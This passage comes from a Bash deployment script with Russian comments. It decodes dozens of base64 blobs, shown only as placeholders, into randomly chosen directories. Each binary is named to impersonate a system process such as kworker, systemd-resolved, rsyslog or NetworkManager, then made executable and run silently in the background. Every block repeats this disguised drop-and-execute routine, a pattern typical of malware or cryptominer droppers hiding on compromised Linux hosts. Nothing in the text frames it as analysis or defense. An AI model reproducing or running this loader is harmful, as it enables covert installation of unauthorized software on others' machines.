    TARGET_PATH="$TARGET_DIR/kworker-578"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_62" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-578 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-578 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-578"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-578"
        failed=$((failed + 1))
    fi
    

    # Файл 64: 185.93.89.16232 -> systemd-resolved-159
    echo "🔧 [64/182] Deploying systemd-resolved-159"
    
    # Собираем данные из частей
    FILE_DATA_63="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-159"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_63" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-159 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-159 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-159"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-159"
        failed=$((failed + 1))
    fi
    

    # Файл 65: 185.93.89.16864 -> chronyd-836
    echo "🔧 [65/182] Deploying chronyd-836"
    
    # Собираем данные из частей
    FILE_DATA_64="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-836"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_64" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-836 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-836 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-836"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-836"
        failed=$((failed + 1))
    fi
    

    # Файл 66: 185.93.89.16832 -> migration-261
    echo "🔧 [66/182] Deploying migration-261"
    
    # Собираем данные из частей
    FILE_DATA_65="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-261"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_65" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-261 >/dev/null 2>&1 & then
            echo "✅ Started: migration-261 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-261"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-261"
        failed=$((failed + 1))
    fi
    

    # Файл 67: 185.93.89.14764 -> rsyslog-451
    echo "🔧 [67/182] Deploying rsyslog-451"
    
    # Собираем данные из частей
    FILE_DATA_66="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-451"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_66" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-451 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-451 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-451"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-451"
        failed=$((failed + 1))
    fi
    

    # Файл 68: 185.93.89.14732 -> dbus-daemon-433
    echo "🔧 [68/182] Deploying dbus-daemon-433"
    
    # Собираем данные из частей
    FILE_DATA_67="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-433"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_67" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-433 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-433 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-433"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-433"
        failed=$((failed + 1))
    fi
    

    # Файл 69: 185.93.89.14664 -> chronyd-553
    echo "🔧 [69/182] Deploying chronyd-553"
    
    # Собираем данные из частей
    FILE_DATA_68="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-553"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_68" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-553 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-553 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-553"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-553"
        failed=$((failed + 1))
    fi
    

    # Файл 70: 185.93.89.14632 -> migration-922
    echo "🔧 [70/182] Deploying migration-922"
    
    # Собираем данные из частей
    FILE_DATA_69="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-922"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_69" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-922 >/dev/null 2>&1 & then
            echo "✅ Started: migration-922 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-922"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-922"
        failed=$((failed + 1))
    fi
    

    # Файл 71: 185.93.89.15764 -> watchdog-387
    echo "🔧 [71/182] Deploying watchdog-387"
    
    # Собираем данные из частей
    FILE_DATA_70="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-387"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_70" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-387 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-387 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-387"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-387"
        failed=$((failed + 1))
    fi
    

    # Файл 72: 185.93.89.15732 -> ksoftirqd-924
    echo "🔧 [72/182] Deploying ksoftirqd-924"
    
    # Собираем данные из частей
    FILE_DATA_71="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-924"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_71" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-924 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-924 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-924"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-924"
        failed=$((failed + 1))
    fi
    

    # Файл 73: 185.93.89.15364 -> NetworkManager-496
    echo "🔧 [73/182] Deploying NetworkManager-496"
    
    # Собираем данные из частей
    FILE_DATA_72="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-496"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_72" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-496 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-496 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-496"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-496"
        failed=$((failed + 1))
    fi
    

    # Файл 74: 185.93.89.15332 -> migration-360
    echo "🔧 [74/182] Deploying migration-360"
    
    # Собираем данные из частей
    FILE_DATA_73="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-360"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_73" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-360 >/dev/null 2>&1 & then
            echo "✅ Started: migration-360 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-360"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-360"
        failed=$((failed + 1))
    fi
    

    # Файл 75: 185.93.89.18864 -> systemd-resolved-399
    echo "🔧 [75/182] Deploying systemd-resolved-399"
    
    # Собираем данные из частей
    FILE_DATA_74="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-399"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_74" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-399 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-399 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-399"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-399"
        failed=$((failed + 1))
    fi
    

    # Файл 76: 185.93.89.18832 -> watchdog-535
    echo "🔧 [76/182] Deploying watchdog-535"
    
    # Собираем данные из частей
    FILE_DATA_75="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-535"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_75" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-535 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-535 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-535"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-535"
        failed=$((failed + 1))
    fi
    

    # Файл 77: 185.93.89.18964 -> NetworkManager-524
    echo "🔧 [77/182] Deploying NetworkManager-524"
    
    # Собираем данные из частей
    FILE_DATA_76="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-524"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_76" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-524 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-524 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-524"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-524"
        failed=$((failed + 1))
    fi
    

    # Файл 78: 185.93.89.18932 -> migration-584
    echo "🔧 [78/182] Deploying migration-584"
    
    # Собираем данные из частей
    FILE_DATA_77="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-584"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_77" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-584 >/dev/null 2>&1 & then
            echo "✅ Started: migration-584 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-584"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-584"
        failed=$((failed + 1))
    fi
    

    # Файл 79: 185.93.89.15564 -> migration-905
    echo "🔧 [79/182] Deploying migration-905"
    
    # Собираем данные из частей
    FILE_DATA_78="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-905"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_78" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-905 >/dev/null 2>&1 & then
            echo "✅ Started: migration-905 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-905"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-905"
        failed=$((failed + 1))
    fi
    

    # Файл 80: 185.93.89.15532 -> rcu_gp-532
    echo "🔧 [80/182] Deploying rcu_gp-532"
    
    # Собираем данные из частей
    FILE_DATA_79="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-532"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_79" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-532 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-532 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-532"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-532"
        failed=$((failed + 1))
    fi
    

    # Файл 81: 185.93.89.17164 -> kworker-552
    echo "🔧 [81/182] Deploying kworker-552"
    
    # Собираем данные из частей
    FILE_DATA_80="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-552"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_80" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-552 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-552 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-552"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-552"
        failed=$((failed + 1))
    fi
    

    # Файл 82: 185.93.89.17132 -> rsyslog-346
    echo "🔧 [82/182] Deploying rsyslog-346"
    
    # Собираем данные из частей
    FILE_DATA_81="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-346"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_81" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-346 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-346 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-346"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-346"
        failed=$((failed + 1))
    fi
    

    # Файл 83: 185.93.89.19064 -> NetworkManager-893
    echo "🔧 [83/182] Deploying NetworkManager-893"
    
    # Собираем данные из частей
    FILE_DATA_82="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-893"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_82" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-893 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-893 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-893"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-893"
        failed=$((failed + 1))
    fi
    

    # Файл 84: 185.93.89.19032 -> watchdog-364
    echo "🔧 [84/182] Deploying watchdog-364"
    
    # Собираем данные из частей
    FILE_DATA_83="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-364"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_83" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-364 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-364 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-364"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-364"
        failed=$((failed + 1))
    fi
    

    # Файл 85: 185.93.89.17064 -> systemd-logind-861
    echo "🔧 [85/182] Deploying systemd-logind-861"
    
    # Собираем данные из частей
    FILE_DATA_84="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-861"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_84" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-861 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-861 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-861"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-861"
        failed=$((failed + 1))
    fi
    

    # Файл 86: 185.93.89.17032 -> rsyslog-747
    echo "🔧 [86/182] Deploying rsyslog-747"
    
    # Собираем данные из частей
    FILE_DATA_85="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-747"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_85" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-747 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-747 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-747"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-747"
        failed=$((failed + 1))
    fi
    

    # Файл 87: 185.93.89.15164 -> kworker-308
    echo "🔧 [87/182] Deploying kworker-308"
    
    # Собираем данные из частей
    FILE_DATA_86="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-308"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_86" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-308 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-308 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-308"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-308"
        failed=$((failed + 1))
    fi
    

    # Файл 88: 185.93.89.15132 -> dbus-daemon-542
    echo "🔧 [88/182] Deploying dbus-daemon-542"
    
    # Собираем данные из частей
    FILE_DATA_87="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-542"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_87" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-542 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-542 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-542"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-542"
        failed=$((failed + 1))
    fi
    

    # Файл 89: 185.93.89.15664 -> chronyd-353
    echo "🔧 [89/182] Deploying chronyd-353"
    
    # Собираем данные из частей
    FILE_DATA_88="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-353"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_88" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-353 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-353 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-353"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-353"
        failed=$((failed + 1))
    fi
    

    # Файл 90: 185.93.89.15632 -> dbus-daemon-842
    echo "🔧 [90/182] Deploying dbus-daemon-842"
    
    # Собираем данные из частей
    FILE_DATA_89="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-842"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_89" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-842 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-842 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-842"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-842"
        failed=$((failed + 1))
    fi
    

    # Файл 91: 185.93.89.15064 -> rsyslog-166
    echo "🔧 [91/182] Deploying rsyslog-166"
    
    # Собираем данные из частей
    FILE_DATA_90="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-166"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_90" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-166 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-166 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-166"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-166"
        failed=$((failed + 1))
    fi
    

    # Файл 92: 185.93.89.15032 -> rsyslog-373
    echo "🔧 [92/182] Deploying rsyslog-373"
    
    # Собираем данные из частей
    FILE_DATA_91="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-373"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_91" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-373 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-373 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-373"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-373"
        failed=$((failed + 1))
    fi
    

    # Файл 93: 185.93.89.16964 -> migration-889
    echo "🔧 [93/182] Deploying migration-889"
    
    # Собираем данные из частей
    FILE_DATA_92="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-889"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_92" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-889 >/dev/null 2>&1 & then
            echo "✅ Started: migration-889 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-889"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-889"
        failed=$((failed + 1))
    fi
    

    # Файл 94: 185.93.89.16932 -> rsyslog-927
    echo "🔧 [94/182] Deploying rsyslog-927"
    
    # Собираем данные из частей
    FILE_DATA_93="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-927"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_93" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-927 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-927 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-927"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-927"
        failed=$((failed + 1))
    fi
    

